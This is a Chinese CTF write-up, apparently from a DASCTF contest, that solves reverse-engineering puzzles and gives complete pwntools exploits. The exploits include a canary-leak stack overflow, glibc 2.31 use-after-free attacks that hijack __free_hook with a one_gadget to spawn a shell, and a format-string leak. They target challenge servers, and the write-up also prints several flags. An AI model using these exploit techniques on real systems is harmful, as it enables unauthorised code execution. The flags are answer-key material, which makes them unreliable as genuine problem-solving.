所有题目可以在https://github.com/Inv0k3r/pwnable_files下载
交叉引用找到函数主要逻辑:
可以看到输入长度为32,使用base64编码,然后跟目标字符串比对,尝试直接解密错误,用gdb调试跟着得到base64的编码表:
然后直接丢进cyberchef:
给了一个python字节码文件,手工还原得到源码:
print 'Input flag:'
flag = input()
arr = [47378, 29475, 46200, 39869, 67243, 68695, 73129, 27171, 53832, 30653, 60541, 67276, 58816, 63571, 50131, 34471, 67922, 82293, 33259, 67538, 57810, 50339, 34632, 68754, 83192, 36077, 60424, 54547, 56308, 33565, 69425, 84024]
k = 22643
for i in range(32):
num = ord(flag[i]) * 255 + k
if num != arr[i]:
print "Error"
exit(0)
k = k + num & 65535
print 'Right,the flag is DASCTF{Input}'
写出解密算法:
arr = [47378, 29475, 46200, 39869, 67243, 68695, 73129, 27171, 53832, 30653, 60541, 67276, 58816, 63571, 50131, 34471, 67922, 82293, 33259, 67538, 57810, 50339, 34632, 68754, 83192, 36077, 60424, 54547, 56308, 33565, 69425, 84024]
k = 22643
flag = ''
for i in arr:
flag += chr(int((i - k) / 255))
k = k + i & 65535
print(flag)
# ab0c216ec63a9f984cbf8975ad63e09c
password和username都存在栈溢出,先溢出填满username到canary后面,打印username的时候会把canary带出来,然后溢出password覆盖canary和返回地址为后门函数即可:
from pwn import *
p = remote("43.143.139.234", 50505)
p.sendlineafter("Username:", 'f' * 10)
p.recvuntil('f' * 10)
canary = u64(p.recv(8)) & 0xffffffffffffff00
print(hex(canary))
payload = b'b' * (0x1c - 8)
payload += p64(canary)
payload += p64(0x12345678)
payload += p64(0x40138f)
p.sendlineafter("Password:", payload)
p.interactive()
2.31的经典菜单题,删除结构体后没有置空存储结构体的数组,导致了UAF,可以利用UAF进行读取info字段和修改password字段,需要注意的就是要利用unsorted bin的合并和切割机制来推一下需要泄露的信息,然后要注意一下序号的分配是按顺序分配的,所以要提前申请堆块去占住序号,防止我们拿来做uaf的堆块的地址被覆盖掉。
那么思路就是:
1. 释放两个堆块到unsorted bin,先释放后面的,再释放前面的,然后让他们合并
2. 申请一个比第一个略大的堆块,此时会将libc地址推到之前第二个堆块的info字段
3. 利用Login功能来读取到libc
4. 申请两个tcache大小的堆块,让之前存储libc的地方存储堆地址
5. 再次利用之前的堆块合并的思路,把tcache结构体的next字段填上__free_hook,由于修改密码的功能需要用到code字段,所以之前leak了堆地址作为此时的code
6. 然后接下来就很简单了,申请下来链入tcache的__free_hook,name填上one_gadget即可
exp:
from pwn import *p = process("./easy_login")
context.log_level='debug'
# size > 0x7f, < 0x500
# 0xb0, 0x530
def add(size, name, password, code, info):
p.sendlineafter("choice:", "1")
p.sendlineafter("size:", str(size))
p.sendlineafter("name:", name)
p.sendlineafter("password:", password)
p.sendlineafter("code:", str(code))
p.sendlineafter("info:", info)
def show(idx, password):
p.sendlineafter("choice:", "2")
p.sendlineafter("ID:", str(idx))
p.sendlineafter("password:", password)
def edit(idx, code, new_password):
p.sendlineafter("choice:", "3")
p.sendlineafter("ID:", str(idx))
p.sendlineafter("code:", str(code))
p.sendlineafter("(Y/N)", "Y")
p.sendlineafter("password:", new_password)
def free(idx, password):
p.sendlineafter("choice:", "4")
p.sendlineafter("ID:", str(idx))
p.sendlineafter("password:", password)
pause()
for i in range(7):
add(0x88, '0', 'a', 0, '0')
add(0x3f8, '0', 'a', 0, '0')
add(0x3f8, '0', 'a', 0, '0')
add(0x3f8, '0', 'a', 0, '0')
for i in range(7):
free(i, 'a')
free(8, 'a')
free(7, 'a')
add(0x418, '0', 'a', 0, '0') # 0
edit(8, 0x401, 'a')
show(8, 'a')
p.recvuntil("info:")
libc_base = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00')) - 0x1ecbe0
log.success("libc: " + hex(libc_base))
# pause()
add(0x98, '0', 'a', 0, '0') # 1
add(0x98, '0', 'a', 0, 'a') # 2
# pause()
free(2, 'a')
free(1, 'a')
show(8, 'a')
p.recvuntil("info:")
heap_base = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00')) - 0xc70
log.success("heap: " + hex(heap_base))
add(0x88, '0', 'a', 0, '0') # 1
add(0x88, '0', 'a', 0, '0') # 2
add(0x88, '0', 'a', 0, '0') # 3
add(0x418, '0', 'a', 0, '0') # 4
add(0x418, '0', 'a', 0, '0') # 5
add(0x418, '0', 'a', 0, '0') # 6
free(5, 'a')
free(4, 'a')
free(3, 'a')
free(2, 'a')
free(1, 'a')
add(0x428, '0', 'a', 0, '0') # 1
add(0x288, '0', 'a', 0, '0') # 2
add(0x288, '0', 'a', 0, '0') # 3
free_hook = libc_base + 0x1eee48
free(3, 'a')
free(2, 'a')
pause()
edit(5, heap_base + 0x10, p64(free_hook)[:-1])
# [email protected]:~$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.31.so
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL
# [r12] == NULL || r12 == NULL
# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
# [r15] == NULL || r15 == NULL
# [rdx] == NULL || rdx == NULL
# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL
add(0x288, '0', 'a', 0, '0')
add(0x288, p64(libc_base + 0xe3b01), 'a', 0, '0')
# pause()
free(0, 'a')
sleep(0.1)
p.sendline("id")
p.interactive()
查看主函数:
可以看出是把输入处理后与一个固定数组比较:
处理逻辑:
动态调试跟踪到两个处理函数:
经过调试发现下面的异或的左边参数是输入的数字,右边是一个固定数组:
异或结果是最终比对的数字:
所以导出最终异或的数据,写脚本反向解密即可:
a = [6, 0x7D, 0xD1, 0x1E, 0x97, 0x24, 0xFE, 0x78, 5, 0x78, 0x81, 0x17, 0x90, 0x71, 0xA8, 0x2F, 0x57, 0x7A, 0x80, 0x1E, 0xC1, 0x25, 0xA2, 0x2F, 6, 0x7B, 0xD1, 0x44, 0xC3, 0x27, 0xAE]
b = [0x31, 0x1E, 0xE2, 0x27, 0xF6, 0x41, 0x9A, 0x1B]
flag = ''
for i in range(len(a)):
flag += chr(a[i] ^ b[i % 8])print(flag)
# 7c39aedc4fc0f024fdb97d847e3c5f4
提示是运行足够久就会输出flag,实际测试输出到10位之后就会非常慢,所以还是需要逆向。
查看主要逻辑:
手动抄下来上面的框里的循环发现是斐波那契数列计算,计算结果和16异或然后去0123456789abcdef里拿出对应字符即为flag,计算流程大致如下:
n_list = [1]
a = 1
for i in range(32):
f = i + 4 * a + 1
n_list.append(f)
a = fprint(n_list)
# 得到:[1, 5, 22, 91, 368, 1477, 5914, 23663, 94660, 378649, 1514606, 6058435, 24233752, 96935021, 387740098, 1550960407, 6203841644, 24815366593, 99261466390, 397045865579, 1588183462336, 6352733849365, 25410935397482, 101643741589951, 406574966359828, 1626299865439337, 6505199461757374, 26020797847029523, 104083191388118120, 416332765552472509, 1665331062209890066, 6661324248839560295, 26645296995358241212]
然后找了一个快速计算斐波那契取余结果的(https://blog.csdn.net/qq_43126361/article/details/83652047):
#include <iostream>
#include <cstddef>
#include <cstring>
#include <vector>
using namespace std;
typedef long long ll;
const int mod=16;
typedef vector<ll> vec;
typedef vector<vec> mat;
mat mul(mat &a,mat &b)
{
mat c(a.size(),vec(b[0].size()));
for(int i=0; i<2; i++)
{
for(int j=0; j<2; j++)
{
for(int k=0; k<2; k++)
{
c[i][j]+=a[i][k]*b[k][j];
c[i][j]%=mod;
}
}
}
return c;
}
mat pow(mat a,ll n)
{
mat res(a.size(),vec(a.size()));
for(int i=0; i<a.size(); i++)
res[i][i]=1;
while(n)
{
if(n&1) res=mul(res,a);
a=mul(a,a);
n/=2;
}
return res;
}
ll solve(ll n)
{
mat a(2,vec(2));
a[0][0]=1;
a[0][1]=1;
a[1][0]=1;
a[1][1]=0;
a=pow(a,n);
return a[0][1];
}
int main()
{
ll a[] = {1, 5, 22, 91, 368, 1477, 5914, 23663, 94660, 378649, 1514606, 6058435, 24233752, 96935021, 387740098, 1550960407, 6203841644, 24815366593, 99261466390, 397045865579, 1588183462336, 6352733849365, 25410935397482, 101643741589951, 406574966359828, 1626299865439337, 6505199461757374, 26020797847029523, 104083191388118120, 416332765552472509, 1665331062209890066, 6661324248839560295, 26645296995358241212};
char charset[] = "0123456789abcdef";
ll n,x;
for (int i = 0; i < 32; i ++)
cout << charset[solve(a[i])];
cout<<endl;
return 0;
}
得到flag:
读取flag进来后,如果开头六个字符是dasctf,则提供一个格式化字符串漏洞,所以可以直接用%p来读取栈里面的flag,在本地调试好偏移后多次利用即可:
exp:
from pwn import *
import binascii
flag = b''
ip = 'tcp.dasc.buuoj.cn'
port = 23032for i in range(5):
p = remote(ip, port)
p.sendlineafter("something:", "dasctf%1" + str(i) + "$p")
p.recvuntil("dasctf0x")
flag = p.recvuntil("\n")[:-1] + flag
print(flag)
p.close()
flag = binascii.a2b_hex(flag)
# print(flag)
print(flag[::-1])
跟easy_login差不多,就是改了下code和password在结构体内的位置,导致没法直接通过修改密码来改tcache的fd。
漏洞点同样在删除后没有置空数组导致的UAF。
利用流程就是:
1. 首先填满tcache,然后释放堆块到unsorted bin触发合并
2. 切割堆块把libc的地址推到info位,改密码登录泄露拿到libc
3. 通过修改密码来修改堆块的size位,构造overlap chunk
4. 把被覆盖的堆块释放到tcache
5. 申请到这个overlap的unsorted bin
6. 通过info来修改位于tcache的堆块的fd位为free_hook
7. 申请回来往name里写one_gadget就能拿到shell了
exp:
from pwn import *
# context.log_level='debug'
# p = process("./hard_login")
# p = remote("tcp.dasc.buuoj.cn", 28417)
p = remote("tcp.dasc.buuoj.cn", 21370)
# size > 0x7f, < 0x500
# 0xb0, 0x530
def add(size, name, password, code, info):
p.sendlineafter("choice:", "1")
p.sendlineafter("size:", str(size))
p.sendlineafter("name:", name)
p.sendlineafter("code:", str(code))
p.sendlineafter("password:", password)
p.sendlineafter("info:", info)def show(idx, password):
p.sendlineafter("choice:", "2")
p.sendlineafter("ID:", str(idx))
p.sendlineafter("password:", password)
def edit(idx, code, new_password):
p.sendlineafter("choice:", "3")
p.sendlineafter("ID:", str(idx))
p.sendlineafter("code:", str(code))
p.sendlineafter("(Y/N)", "Y")
p.sendlineafter("password:", new_password)
def free(idx, password):
p.sendlineafter("choice:", "4")
p.sendlineafter("ID:", str(idx))
p.sendlineafter("password:", password)
pause()
for i in range(7):
add(0x10f, '0', 'a', 0, '0') # 0 - 6
add(0x10f, '0', 'a', 0, '0') # 7
add(0x10f, '0', 'a', 0, '0') # 8
add(0x10f, '0', 'a', 0, p64(0x150) + p64(0x140)) # 9
for i in range(7):
free(i, 'a')
free(8, 'a')
free(7, 'a')
# pause()
add(0x138, '0', 'a', 0, '0') # 0
pause()
edit(8, 0, 'a')
show(8, 'a')
p.recvuntil("info:")
libc_base = u64(p.recvuntil("\n")[:-1].ljust(8, b'\x00')) - 0x1ecbe0
log.success("libc: " + hex(libc_base))
edit(8, 0, '\x51\x01\x00\x00\x00\x00\x00')
add(0x118, '0', 'a', 0, '0')
free(9, 'a')
free_hook = libc_base + 0x1eee48
add(0x128, '0', 'a', 0, b'0' * 0xf0 + p64(0x120) + p64(0x140) + p64(free_hook))
add(0x118, '0', 'a', 0, '0')
one_gadget = libc_base + 0xe3b01
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL
# [r12] == NULL || r12 == NULL
# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
# [r15] == NULL || r15 == NULL
# [rdx] == NULL || rdx == NULL
# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL
add(0x118, p64(one_gadget), 'a', 0, '0')
free(0, 'a')
p.interactive()
# nc/9999->tcp.dasc.buuoj.cn:28417